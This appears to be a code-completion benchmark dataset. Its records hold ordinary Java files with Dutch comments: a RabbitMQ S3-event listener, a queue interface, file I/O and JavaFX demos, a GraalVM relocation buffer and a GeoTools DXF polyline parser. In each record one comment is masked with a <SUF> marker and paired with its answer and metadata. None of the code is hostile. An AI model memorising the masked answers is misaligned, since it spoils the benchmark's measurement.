AmqpTemplate rabbitTemplate; @Value("${entrada.messaging.request.name}") private String requestQueue; @Autowired private WorkService workService; @RabbitListener(id = "${entrada.messaging.request.name}", queues = "${entrada.messaging.request.name}-queue") public void receiveMessageManual(S3EventNotification message, Channel channel, @Header(AmqpHeaders.DELIVERY_TAG) long deliveryTag) { log.info("Received s3 event: {}", message); for (S3EventNotificationRecord rec : message.getRecords()) { // check the getEventName, updating the tags may also generate a put event and // this should not lead to processing the same file again. if (isSupportedEvent(rec.getEventName())) { String bucket = rec.getS3().getBucket().getName(); String key = UrlUtil.decode(rec.getS3().getObject().getKey()); workService.process(bucket, key); // ack(channel, deliveryTag); // }else { // nack(channel, deliveryTag); // } } } } // private void ack( Channel channel, long tag ) { // try { // channel.basicAck(tag, false); // } catch (IOException e) { // log.error("Ack error for tag: {}", tag, e); // } // } // // private void nack( Channel channel, long tag ) { // try { // channel.basicNack(tag, false, true); // } catch (IOException e) { // log.error("Nack error for tag: {}", tag, e); // } // } // // private void process(String bucket, String key) { // // workService.process(bucket, key); // // } // veranderd van put in DeleteTagging, werkt het nog steeds? private boolean isSupportedEvent(String eventName) { return StringUtils.equalsIgnoreCase(eventName, "s3:ObjectCreated:Put") || StringUtils.equalsIgnoreCase(eventName, "s3:ObjectCreated:CompleteMultipartUpload") || // some s3 impls also use PutTagging when add deleting a tag StringUtils.equalsIgnoreCase(eventName, "s3:ObjectCreated:DeleteTagging") || StringUtils.equalsIgnoreCase(eventName, "s3:ObjectCreated:PutTagging"); } @Override public String name() { return requestQueue; } }
SIDN/entrada2
src/main/java/nl/sidn/entrada2/service/messaging/RabbitRequestQueueService.java
1,108
// veranderd van put in DeleteTagging, werkt het nog steeds?
line_comment
nl
package nl.sidn.entrada2.service.messaging; import java.io.IOException; import org.apache.commons.lang3.StringUtils; import org.springframework.amqp.core.AcknowledgeMode; import org.springframework.amqp.core.AmqpTemplate; import org.springframework.amqp.rabbit.annotation.RabbitListener; import org.springframework.amqp.support.AmqpHeaders; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.beans.factory.annotation.Value; import org.springframework.messaging.handler.annotation.Header; import org.springframework.stereotype.Service; import com.rabbitmq.client.Channel; import lombok.extern.slf4j.Slf4j; import nl.sidn.entrada2.messaging.S3EventNotification; import nl.sidn.entrada2.messaging.S3EventNotification.S3EventNotificationRecord; import nl.sidn.entrada2.service.WorkService; import nl.sidn.entrada2.util.ConditionalOnRabbitMQ; import nl.sidn.entrada2.util.UrlUtil; @ConditionalOnRabbitMQ @Service @Slf4j public class RabbitRequestQueueService extends AbstractRabbitQueue implements RequestQueue { @Value("${entrada.messaging.leader.name}") private String queueName; @Autowired(required = false) @Qualifier("rabbitByteTemplate") private AmqpTemplate rabbitTemplate; @Value("${entrada.messaging.request.name}") private String requestQueue; @Autowired private WorkService workService; @RabbitListener(id = "${entrada.messaging.request.name}", queues = "${entrada.messaging.request.name}-queue") public void receiveMessageManual(S3EventNotification message, Channel channel, @Header(AmqpHeaders.DELIVERY_TAG) long deliveryTag) { log.info("Received s3 event: {}", message); for (S3EventNotificationRecord rec : message.getRecords()) { // check the getEventName, updating the tags may also generate a put event and // this should not lead to processing the same file again. if (isSupportedEvent(rec.getEventName())) { String bucket = rec.getS3().getBucket().getName(); String key = UrlUtil.decode(rec.getS3().getObject().getKey()); workService.process(bucket, key); // ack(channel, deliveryTag); // }else { // nack(channel, deliveryTag); // } } } } // private void ack( Channel channel, long tag ) { // try { // channel.basicAck(tag, false); // } catch (IOException e) { // log.error("Ack error for tag: {}", tag, e); // } // } // // private void nack( Channel channel, long tag ) { // try { // channel.basicNack(tag, false, true); // } catch (IOException e) { // log.error("Nack error for tag: {}", tag, e); // } // } // // private void process(String bucket, String key) { // // workService.process(bucket, key); // // } // veranderd van<SUF> private boolean isSupportedEvent(String eventName) { return StringUtils.equalsIgnoreCase(eventName, "s3:ObjectCreated:Put") || StringUtils.equalsIgnoreCase(eventName, "s3:ObjectCreated:CompleteMultipartUpload") || // some s3 impls also use PutTagging when add deleting a tag StringUtils.equalsIgnoreCase(eventName, "s3:ObjectCreated:DeleteTagging") || StringUtils.equalsIgnoreCase(eventName, "s3:ObjectCreated:PutTagging"); } @Override public String name() { return requestQueue; } }
True
763
19
973
20
945
17
973
20
1,150
19
false
false
false
false
false
true
2,538
143040_4
package com.devonpouw.week8; interface Queue { // voeg een item toe aan de FIFO queue void add(int value); // verwijder een item uit de FIFO queue int remove(); // geef het eerste item in de FIFO queue terug, maar haal het er niet uit int peek(); // geef aan of de FIFO queue leeg is boolean isEmpty(); // geef de lengte van de FIFO queue terug int size(); // Print de inhoud van de FIFO queue void print(); // verwijder alle items uit de FIFO queue void clear(); // verwijder de eerste n items uit de FIFO queue void clear(int n); // print de inhoud van de FIFO queue in omgekeerde volgorde void printReverse(); // plaats een element op een bepaalde positie in de FIFO queue void jumpTheQueue(int n, int value); // Zet de FIFO queue om naar een String String toString(); // Kijk of de FIFO queue gelijk is aan een andere FIFO queue boolean equals(Queue q); // Bepaal de index van een bepaalde waarde in de FIFO queue int indexOf(int value); // bepaal de laatste index van een bepaalde waarde in de FIFO queue int lastIndexOf(int value); }
devonPouw/traineeship
src/com/devonpouw/week8/Queue.java
368
// geef de lengte van de FIFO queue terug
line_comment
nl
package com.devonpouw.week8; interface Queue { // voeg een item toe aan de FIFO queue void add(int value); // verwijder een item uit de FIFO queue int remove(); // geef het eerste item in de FIFO queue terug, maar haal het er niet uit int peek(); // geef aan of de FIFO queue leeg is boolean isEmpty(); // geef de<SUF> int size(); // Print de inhoud van de FIFO queue void print(); // verwijder alle items uit de FIFO queue void clear(); // verwijder de eerste n items uit de FIFO queue void clear(int n); // print de inhoud van de FIFO queue in omgekeerde volgorde void printReverse(); // plaats een element op een bepaalde positie in de FIFO queue void jumpTheQueue(int n, int value); // Zet de FIFO queue om naar een String String toString(); // Kijk of de FIFO queue gelijk is aan een andere FIFO queue boolean equals(Queue q); // Bepaal de index van een bepaalde waarde in de FIFO queue int indexOf(int value); // bepaal de laatste index van een bepaalde waarde in de FIFO queue int lastIndexOf(int value); }
True
306
11
317
13
304
9
317
13
367
12
false
false
false
false
false
true
1,794
101932_2
import java.io.File; import java.io.FileNotFoundException; import java.io.PrintWriter; import java.util.Scanner; public class TxtFileIODemo { public void txtFileOutput(String bestandsnaam){ //aanmaken PrintWriterObject PrintWriter printer = null; try { printer = new PrintWriter(bestandsnaam); } catch (FileNotFoundException e) { System.out.println("Bestand " + bestandsnaam + " bestaat niet"); } //lijnen tekst vragen en onmiddelijk inlezen System.out.println("Geef drie lijnen tekst:"); Scanner keyboard = new Scanner(System.in); for(int i = 0; i< 3; i++){ String line = keyboard.nextLine(); printer.println(line); } printer.close(); //sluiten stream System.out.println("De lijnen tekst werden weggeschreven naar " + bestandsnaam); } public void txtFileInput(String bestandsnaam){ //Scanner object aanmaken voor txt input Scanner input = null; try { input = new Scanner(new File(bestandsnaam)); } catch (FileNotFoundException e) { System.out.println("Bestand niet gevonden"); } //alle lijnen van txt bestand inlezen en printen while(input.hasNextLine()){ String line = input.nextLine(); System.out.println(line); } //Scanner object sluiten input.close(); } public static void main(String[] args) { TxtFileIODemo test1 = new TxtFileIODemo(); test1.txtFileOutput("resultaat.txt"); test1.txtFileInput("resultaat.txt"); } }
UGent-AD2122-BusinessEngineering/CodevoorbeeldenHOC-2021
src/TxtFileIODemo.java
482
//alle lijnen van txt bestand inlezen en printen
line_comment
nl
import java.io.File; import java.io.FileNotFoundException; import java.io.PrintWriter; import java.util.Scanner; public class TxtFileIODemo { public void txtFileOutput(String bestandsnaam){ //aanmaken PrintWriterObject PrintWriter printer = null; try { printer = new PrintWriter(bestandsnaam); } catch (FileNotFoundException e) { System.out.println("Bestand " + bestandsnaam + " bestaat niet"); } //lijnen tekst vragen en onmiddelijk inlezen System.out.println("Geef drie lijnen tekst:"); Scanner keyboard = new Scanner(System.in); for(int i = 0; i< 3; i++){ String line = keyboard.nextLine(); printer.println(line); } printer.close(); //sluiten stream System.out.println("De lijnen tekst werden weggeschreven naar " + bestandsnaam); } public void txtFileInput(String bestandsnaam){ //Scanner object aanmaken voor txt input Scanner input = null; try { input = new Scanner(new File(bestandsnaam)); } catch (FileNotFoundException e) { System.out.println("Bestand niet gevonden"); } //alle lijnen<SUF> while(input.hasNextLine()){ String line = input.nextLine(); System.out.println(line); } //Scanner object sluiten input.close(); } public static void main(String[] args) { TxtFileIODemo test1 = new TxtFileIODemo(); test1.txtFileOutput("resultaat.txt"); test1.txtFileInput("resultaat.txt"); } }
True
359
14
418
15
428
13
418
15
485
14
false
false
false
false
false
true
1,758
10224_2
package minigui; import javafx.application.Application; import javafx.event.ActionEvent; import javafx.event.EventHandler; import javafx.geometry.Orientation; import javafx.scene.Scene; import javafx.scene.control.Button; import javafx.scene.control.Label; import javafx.scene.layout.FlowPane; import javafx.scene.layout.StackPane; import javafx.stage.Stage; public class HelloFx extends Application { public static void main(String[] args) { //Als je wilt dat de gouwe ouwe main het doet moet je in de IntelliJ run-configuratie het module-path //correct configureren. Dat weet ik even niet meer uit het hoofd, maar kun je afkijken in OOP:) StackPane pane = new StackPane(); //pane.layout(); is een voorbeeld van een composite pattern method. //al zul je die nooit met de hand aanroepen... Application.launch(args); //Veel makkelijker is met het maven-menutje naar plugins/javafx/javafx:run te gaan:) } @Override public void start(Stage stage) throws Exception { Label label = new Label("Counter"); Label counterLabel = new Label(); Button increment = new Button("++"); increment.setOnAction(new WatDoetDeKnopStrategy( new LabelCounterViewAdapter(counterLabel), new CounterModel())); FlowPane root = new FlowPane(label, counterLabel, increment); root.setOrientation(Orientation.VERTICAL); Scene scene = new Scene(root); stage.setScene(scene); stage.show(); } }
TomKemperNL/hu-sarch-jdkpatterns
src/main/java/minigui/HelloFx.java
440
//pane.layout(); is een voorbeeld van een composite pattern method.
line_comment
nl
package minigui; import javafx.application.Application; import javafx.event.ActionEvent; import javafx.event.EventHandler; import javafx.geometry.Orientation; import javafx.scene.Scene; import javafx.scene.control.Button; import javafx.scene.control.Label; import javafx.scene.layout.FlowPane; import javafx.scene.layout.StackPane; import javafx.stage.Stage; public class HelloFx extends Application { public static void main(String[] args) { //Als je wilt dat de gouwe ouwe main het doet moet je in de IntelliJ run-configuratie het module-path //correct configureren. Dat weet ik even niet meer uit het hoofd, maar kun je afkijken in OOP:) StackPane pane = new StackPane(); //pane.layout(); is<SUF> //al zul je die nooit met de hand aanroepen... Application.launch(args); //Veel makkelijker is met het maven-menutje naar plugins/javafx/javafx:run te gaan:) } @Override public void start(Stage stage) throws Exception { Label label = new Label("Counter"); Label counterLabel = new Label(); Button increment = new Button("++"); increment.setOnAction(new WatDoetDeKnopStrategy( new LabelCounterViewAdapter(counterLabel), new CounterModel())); FlowPane root = new FlowPane(label, counterLabel, increment); root.setOrientation(Orientation.VERTICAL); Scene scene = new Scene(root); stage.setScene(scene); stage.show(); } }
True
320
14
386
16
383
14
386
16
425
16
false
false
false
false
false
true
2,217
26536_1
/* * Copyright (c) 2014, 2017, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package com.oracle.svm.hosted.image; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.util.Map; import java.util.Set; import java.util.TreeMap; import org.graalvm.compiler.core.common.NumUtil; import org.graalvm.nativeimage.c.function.CFunctionPointer; import org.graalvm.nativeimage.c.function.RelocatedPointer; import com.oracle.objectfile.ObjectFile; import com.oracle.svm.hosted.meta.MethodPointer; import jdk.vm.ci.meta.ResolvedJavaMethod; public final class RelocatableBuffer { public static RelocatableBuffer factory(final String name, final long size, final ByteOrder byteOrder) { return new RelocatableBuffer(name, size, byteOrder); } /* * Map methods. */ public RelocatableBuffer.Info getInfo(final int key) { return getMap().get(key); } // The only place is is used is to add the ObjectHeader bits to a DynamicHub, // which is otherwise just a reference to a class. // In the future, this could be used for any offset from a relocated object reference. public RelocatableBuffer.Info addDirectRelocationWithAddend(int key, int relocationSize, Long explicitAddend, Object targetObject) { final RelocatableBuffer.Info info = infoFactory(ObjectFile.RelocationKind.DIRECT, relocationSize, explicitAddend, targetObject); final RelocatableBuffer.Info result = putInfo(key, info); return result; } public RelocatableBuffer.Info addDirectRelocationWithoutAddend(int key, int relocationSize, Object targetObject) { final RelocatableBuffer.Info info = infoFactory(ObjectFile.RelocationKind.DIRECT, relocationSize, null, targetObject); final RelocatableBuffer.Info result = putInfo(key, info); return result; } public RelocatableBuffer.Info addPCRelativeRelocationWithAddend(int key, int relocationSize, Long explicitAddend, Object targetObject) { final RelocatableBuffer.Info info = infoFactory(ObjectFile.RelocationKind.PC_RELATIVE, relocationSize, explicitAddend, targetObject); final RelocatableBuffer.Info result = putInfo(key, info); return result; } public int mapSize() { return getMap().size(); } // TODO: Replace with a visitor pattern rather than exposing the entrySet. public Set<Map.Entry<Integer, RelocatableBuffer.Info>> entrySet() { return getMap().entrySet(); } /** Raw map access. */ private RelocatableBuffer.Info putInfo(final int key, final RelocatableBuffer.Info value) { return getMap().put(key, value); } /** Raw map access. */ protected Map<Integer, RelocatableBuffer.Info> getMap() { return map; } /* * ByteBuffer methods. */ public byte getByte(final int index) { return getBuffer().get(index); } public RelocatableBuffer putByte(final byte value) { getBuffer().put(value); return this; } public RelocatableBuffer putByte(final int index, final byte value) { getBuffer().put(index, value); return this; } public RelocatableBuffer putBytes(final byte[] source, final int offset, final int length) { getBuffer().put(source, offset, length); return this; } public RelocatableBuffer putInt(final int index, final int value) { getBuffer().putInt(index, value); return this; } public int getPosition() { return getBuffer().position(); } public RelocatableBuffer setPosition(final int newPosition) { getBuffer().position(newPosition); return this; } // TODO: Eliminate this method to avoid separating the byte[] from the RelocatableBuffer. protected byte[] getBytes() { return getBuffer().array(); } // TODO: This should become a private method. protected ByteBuffer getBuffer() { return buffer; } /* * Info factory. */ private Info infoFactory(ObjectFile.RelocationKind kind, int relocationSize, Long explicitAddend, Object targetObject) { return new Info(kind, relocationSize, explicitAddend, targetObject); } /* * Debugging. */ public String getName() { return name; } protected static String targetObjectClassification(final Object targetObject) { final StringBuilder result = new StringBuilder(); if (targetObject == null) { result.append("null"); } else { if (targetObject instanceof CFunctionPointer) { result.append("pointer to function"); if (targetObject instanceof MethodPointer) { final MethodPointer mp = (MethodPointer) targetObject; final ResolvedJavaMethod hm = mp.getMethod(); result.append(" name: "); result.append(hm.getName()); } } else { result.append("pointer to data"); } } return result.toString(); } /** Constructor. */ private RelocatableBuffer(final String name, final long size, final ByteOrder byteOrder) { this.name = name; this.size = size; final int intSize = NumUtil.safeToInt(size); this.buffer = ByteBuffer.wrap(new byte[intSize]).order(byteOrder); this.map = new TreeMap<>(); } // Immutable fields. /** For debugging. */ protected final String name; /** The size of the ByteBuffer. */ protected final long size; /** The ByteBuffer itself. */ protected final ByteBuffer buffer; /** The map itself. */ private final TreeMap<Integer, RelocatableBuffer.Info> map; // Constants. static final long serialVersionUID = 0; static final int WORD_SIZE = 8; // HACK: hard-code for now // Note: A non-static inner class. // Note: To keep the RelocatableBuffer from getting separated from this Info. public class Info { /* * Access methods. */ public int getRelocationSize() { return relocationSize; } public ObjectFile.RelocationKind getRelocationKind() { return relocationKind; } public boolean hasExplicitAddend() { return (explicitAddend != null); } // May return null. public Long getExplicitAddend() { return explicitAddend; } public Object getTargetObject() { return targetObject; } // Protected constructor called only from RelocatableBuffer.infoFactory method. protected Info(ObjectFile.RelocationKind kind, int relocationSize, Long explicitAddend, Object targetObject) { this.relocationKind = kind; this.relocationSize = relocationSize; this.explicitAddend = explicitAddend; this.targetObject = targetObject; } // Immutable state. private final int relocationSize; private final ObjectFile.RelocationKind relocationKind; private final Long explicitAddend; /** * The referenced object on the heap. If this is an instance of a {@link RelocatedPointer}, * than the relocation is not treated as a data relocation but has a special meaning, e.g. a * code (text section) or constants (rodata section) relocation. */ private final Object targetObject; } }
beehive-lab/graal
substratevm/src/com.oracle.svm.hosted/src/com/oracle/svm/hosted/image/RelocatableBuffer.java
2,283
/* * Map methods. */
block_comment
nl
/* * Copyright (c) 2014, 2017, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package com.oracle.svm.hosted.image; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.util.Map; import java.util.Set; import java.util.TreeMap; import org.graalvm.compiler.core.common.NumUtil; import org.graalvm.nativeimage.c.function.CFunctionPointer; import org.graalvm.nativeimage.c.function.RelocatedPointer; import com.oracle.objectfile.ObjectFile; import com.oracle.svm.hosted.meta.MethodPointer; import jdk.vm.ci.meta.ResolvedJavaMethod; public final class RelocatableBuffer { public static RelocatableBuffer factory(final String name, final long size, final ByteOrder byteOrder) { return new RelocatableBuffer(name, size, byteOrder); } /* * Map methods. <SUF>*/ public RelocatableBuffer.Info getInfo(final int key) { return getMap().get(key); } // The only place is is used is to add the ObjectHeader bits to a DynamicHub, // which is otherwise just a reference to a class. // In the future, this could be used for any offset from a relocated object reference. public RelocatableBuffer.Info addDirectRelocationWithAddend(int key, int relocationSize, Long explicitAddend, Object targetObject) { final RelocatableBuffer.Info info = infoFactory(ObjectFile.RelocationKind.DIRECT, relocationSize, explicitAddend, targetObject); final RelocatableBuffer.Info result = putInfo(key, info); return result; } public RelocatableBuffer.Info addDirectRelocationWithoutAddend(int key, int relocationSize, Object targetObject) { final RelocatableBuffer.Info info = infoFactory(ObjectFile.RelocationKind.DIRECT, relocationSize, null, targetObject); final RelocatableBuffer.Info result = putInfo(key, info); return result; } public RelocatableBuffer.Info addPCRelativeRelocationWithAddend(int key, int relocationSize, Long explicitAddend, Object targetObject) { final RelocatableBuffer.Info info = infoFactory(ObjectFile.RelocationKind.PC_RELATIVE, relocationSize, explicitAddend, targetObject); final RelocatableBuffer.Info result = putInfo(key, info); return result; } public int mapSize() { return getMap().size(); } // TODO: Replace with a visitor pattern rather than exposing the entrySet. public Set<Map.Entry<Integer, RelocatableBuffer.Info>> entrySet() { return getMap().entrySet(); } /** Raw map access. */ private RelocatableBuffer.Info putInfo(final int key, final RelocatableBuffer.Info value) { return getMap().put(key, value); } /** Raw map access. */ protected Map<Integer, RelocatableBuffer.Info> getMap() { return map; } /* * ByteBuffer methods. */ public byte getByte(final int index) { return getBuffer().get(index); } public RelocatableBuffer putByte(final byte value) { getBuffer().put(value); return this; } public RelocatableBuffer putByte(final int index, final byte value) { getBuffer().put(index, value); return this; } public RelocatableBuffer putBytes(final byte[] source, final int offset, final int length) { getBuffer().put(source, offset, length); return this; } public RelocatableBuffer putInt(final int index, final int value) { getBuffer().putInt(index, value); return this; } public int getPosition() { return getBuffer().position(); } public RelocatableBuffer setPosition(final int newPosition) { getBuffer().position(newPosition); return this; } // TODO: Eliminate this method to avoid separating the byte[] from the RelocatableBuffer. protected byte[] getBytes() { return getBuffer().array(); } // TODO: This should become a private method. protected ByteBuffer getBuffer() { return buffer; } /* * Info factory. */ private Info infoFactory(ObjectFile.RelocationKind kind, int relocationSize, Long explicitAddend, Object targetObject) { return new Info(kind, relocationSize, explicitAddend, targetObject); } /* * Debugging. */ public String getName() { return name; } protected static String targetObjectClassification(final Object targetObject) { final StringBuilder result = new StringBuilder(); if (targetObject == null) { result.append("null"); } else { if (targetObject instanceof CFunctionPointer) { result.append("pointer to function"); if (targetObject instanceof MethodPointer) { final MethodPointer mp = (MethodPointer) targetObject; final ResolvedJavaMethod hm = mp.getMethod(); result.append(" name: "); result.append(hm.getName()); } } else { result.append("pointer to data"); } } return result.toString(); } /** Constructor. */ private RelocatableBuffer(final String name, final long size, final ByteOrder byteOrder) { this.name = name; this.size = size; final int intSize = NumUtil.safeToInt(size); this.buffer = ByteBuffer.wrap(new byte[intSize]).order(byteOrder); this.map = new TreeMap<>(); } // Immutable fields. /** For debugging. */ protected final String name; /** The size of the ByteBuffer. */ protected final long size; /** The ByteBuffer itself. */ protected final ByteBuffer buffer; /** The map itself. */ private final TreeMap<Integer, RelocatableBuffer.Info> map; // Constants. static final long serialVersionUID = 0; static final int WORD_SIZE = 8; // HACK: hard-code for now // Note: A non-static inner class. // Note: To keep the RelocatableBuffer from getting separated from this Info. public class Info { /* * Access methods. */ public int getRelocationSize() { return relocationSize; } public ObjectFile.RelocationKind getRelocationKind() { return relocationKind; } public boolean hasExplicitAddend() { return (explicitAddend != null); } // May return null. public Long getExplicitAddend() { return explicitAddend; } public Object getTargetObject() { return targetObject; } // Protected constructor called only from RelocatableBuffer.infoFactory method. protected Info(ObjectFile.RelocationKind kind, int relocationSize, Long explicitAddend, Object targetObject) { this.relocationKind = kind; this.relocationSize = relocationSize; this.explicitAddend = explicitAddend; this.targetObject = targetObject; } // Immutable state. private final int relocationSize; private final ObjectFile.RelocationKind relocationKind; private final Long explicitAddend; /** * The referenced object on the heap. If this is an instance of a {@link RelocatedPointer}, * than the relocation is not treated as a data relocation but has a special meaning, e.g. a * code (text section) or constants (rodata section) relocation. */ private final Object targetObject; } }
False
1,856
8
2,036
8
2,169
10
2,036
8
2,338
10
false
false
false
false
false
true
3,792
58008_3
/* * [ 1719398 ] First shot at LWPOLYLINE * Peter Hopfgartner - hopfgartner * */ package org.geotools.data.dxf.entities; import com.vividsolutions.jts.geom.Coordinate; import com.vividsolutions.jts.geom.Geometry; import com.vividsolutions.jts.geom.LinearRing; import org.geotools.data.dxf.parser.DXFLineNumberReader; import java.io.EOFException; import java.io.IOException; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Vector; import org.geotools.data.GeometryType; import org.geotools.data.dxf.parser.DXFUnivers; import org.geotools.data.dxf.header.DXFLayer; import org.geotools.data.dxf.header.DXFLineType; import org.geotools.data.dxf.header.DXFTables; import org.geotools.data.dxf.parser.DXFCodeValuePair; import org.geotools.data.dxf.parser.DXFGroupCode; import org.geotools.data.dxf.parser.DXFParseException; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; /** * * * @source $URL$ */ public class DXFLwPolyline extends DXFEntity { private static final Log log = LogFactory.getLog(DXFLwPolyline.class); public String _id = "DXFLwPolyline"; public int _flag = 0; public Vector<DXFLwVertex> theVertices = new Vector<DXFLwVertex>(); public DXFLwPolyline(String name, int flag, int c, DXFLayer l, Vector<DXFLwVertex> v, int visibility, DXFLineType lineType, double thickness) { super(c, l, visibility, lineType, thickness); _id = name; Vector<DXFLwVertex> newV = new Vector<DXFLwVertex>(); for (int i = 0; i < v.size(); i++) { DXFLwVertex entity = (DXFLwVertex) v.get(i).clone(); newV.add(entity); } theVertices = newV; _flag = flag; setName("DXFLwPolyline"); } public DXFLwPolyline(DXFLayer l) { super(-1, l, 0, null, DXFTables.defaultThickness); setName("DXFLwPolyline"); } public DXFLwPolyline() { super(-1, null, 0, null, DXFTables.defaultThickness); setName("DXFLwPolyline"); } public DXFLwPolyline(DXFLwPolyline orig) { super(orig.getColor(), orig.getRefLayer(), 0, orig.getLineType(), orig.getThickness()); _id = orig._id; for (int i = 0; i < orig.theVertices.size(); i++) { theVertices.add((DXFLwVertex) orig.theVertices.elementAt(i).clone()); } _flag = orig._flag; setType(orig.getType()); setStartingLineNumber(orig.getStartingLineNumber()); setUnivers(orig.getUnivers()); setName("DXFLwPolyline"); } public static DXFLwPolyline read(DXFLineNumberReader br, DXFUnivers univers) throws IOException { String name = ""; int visibility = 0, flag = 0, c = -1; DXFLineType lineType = null; Vector<DXFLwVertex> lv = new Vector<DXFLwVertex>(); DXFLayer l = null; int sln = br.getLineNumber(); log.debug(">>Enter at line: " + sln); DXFCodeValuePair cvp = null; DXFGroupCode gc = null; boolean doLoop = true; while (doLoop) { cvp = new DXFCodeValuePair(); try { gc = cvp.read(br); } catch (DXFParseException ex) { throw new IOException("DXF parse error" + ex.getLocalizedMessage()); } catch (EOFException e) { doLoop = false; break; } switch (gc) { case TYPE: String type = cvp.getStringValue(); // SEQEND ??? // geldt voor alle waarden van type br.reset(); doLoop = false; break; case X_1: //"10" br.reset(); readLwVertices(br, lv); break; case NAME: //"2" name = cvp.getStringValue(); break; case LAYER_NAME: //"8" l = univers.findLayer(cvp.getStringValue()); break; case LINETYPE_NAME: //"6" lineType = univers.findLType(cvp.getStringValue()); break; case COLOR: //"62" c = cvp.getShortValue(); break; case INT_1: //"70" flag = cvp.getShortValue(); break; case VISIBILITY: //"60" visibility = cvp.getShortValue(); break; default: break; } } DXFLwPolyline e = new DXFLwPolyline(name, flag, c, l, lv, visibility, lineType, DXFTables.defaultThickness); if ((flag & 1) == 1) { e.setType(GeometryType.POLYGON); } else { e.setType(GeometryType.LINE); } e.setStartingLineNumber(sln); e.setUnivers(univers); log.debug(e.toString(name, flag, lv.size(), c, visibility, DXFTables.defaultThickness)); log.debug(">>Exit at line: " + br.getLineNumber()); return e; } public static void readLwVertices(DXFLineNumberReader br, Vector<DXFLwVertex> theVertices) throws IOException { double x = 0, y = 0, b = 0; boolean xFound = false, yFound = false; int sln = br.getLineNumber(); log.debug(">>Enter at line: " + sln); DXFCodeValuePair cvp = null; DXFGroupCode gc = null; boolean doLoop = true; while (doLoop) { cvp = new DXFCodeValuePair(); try { gc = cvp.read(br); } catch (DXFParseException ex) { throw new IOException("DXF parse error" + ex.getLocalizedMessage()); } catch (EOFException e) { doLoop = false; break; } switch (gc) { case TYPE: case X_1: //"10" // check of vorig vertex opgeslagen kan worden if (xFound && yFound) { DXFLwVertex e = new DXFLwVertex(x, y, b); log.debug(e.toString(b, x, y)); theVertices.add(e); xFound = false; yFound = false; x = 0; y = 0; b = 0; } // TODO klopt dit??? if (gc == DXFGroupCode.TYPE) { br.reset(); doLoop = false; break; } x = cvp.getDoubleValue(); xFound = true; break; case Y_1: //"20" y = cvp.getDoubleValue(); yFound = true; break; case DOUBLE_3: //"42" b = cvp.getDoubleValue(); break; default: break; } } log.debug(">Exit at line: " + br.getLineNumber()); } @Override public Geometry getGeometry() { if (geometry == null) { updateGeometry(); } return super.getGeometry(); } @Override public void updateGeometry() { Coordinate[] ca = toCoordinateArray(); if (ca != null && ca.length > 1) { if (getType() == GeometryType.POLYGON) { LinearRing lr = getUnivers().getGeometryFactory().createLinearRing(ca); geometry = getUnivers().getGeometryFactory().createPolygon(lr, null); } else { geometry = getUnivers().getGeometryFactory().createLineString(ca); } } else { addError("coordinate array faulty, size: " + (ca == null ? 0 : ca.length)); } } public Coordinate[] toCoordinateArray() { if (theVertices == null) { addError("coordinate array can not be created."); return null; } Iterator it = theVertices.iterator(); List<Coordinate> lc = new ArrayList<Coordinate>(); Coordinate firstc = null; Coordinate lastc = null; while (it.hasNext()) { DXFLwVertex v = (DXFLwVertex) it.next(); lastc = v.toCoordinate(); if (firstc == null) { firstc = lastc; } lc.add(lastc); } // If only 2 points found, make Line if (lc.size() == 2) { setType(GeometryType.LINE); } // Forced closing polygon if (getType() == GeometryType.POLYGON) { if (!firstc.equals2D(lastc)) { lc.add(firstc); } } /* TODO uitzoeken of lijn zichzelf snijdt, zo ja nodding * zie jts union: * Collection lineStrings = . . . * Geometry nodedLineStrings = (LineString) lineStrings.get(0); * for (int i = 1; i < lineStrings.size(); i++) { * nodedLineStrings = nodedLineStrings.union((LineString)lineStrings.get(i)); * */ return rotateAndPlace(lc.toArray(new Coordinate[]{})); } public String toString(String name, int flag, int numVert, int c, int visibility, double thickness) { StringBuffer s = new StringBuffer(); s.append("DXFPolyline ["); s.append("name: "); s.append(name + ", "); s.append("flag: "); s.append(flag + ", "); s.append("numVert: "); s.append(numVert + ", "); s.append("color: "); s.append(c + ", "); s.append("visibility: "); s.append(visibility + ", "); s.append("thickness: "); s.append(thickness); s.append("]"); return s.toString(); } @Override public String toString() { return toString(getName(), _flag, theVertices.size(), getColor(), (isVisible() ? 0 : 1), getThickness()); } @Override public DXFEntity translate(double x, double y) { // Move all vertices Iterator iter = theVertices.iterator(); while (iter.hasNext()) { DXFLwVertex vertex = (DXFLwVertex) iter.next(); vertex._point.x += x; vertex._point.y += y; } return this; } @Override public DXFEntity clone() { return new DXFLwPolyline(this); } }
netconstructor/GeoTools
modules/unsupported/dxf/src/main/java/org/geotools/data/dxf/entities/DXFLwPolyline.java
3,243
// check of vorig vertex opgeslagen kan worden
line_comment
nl
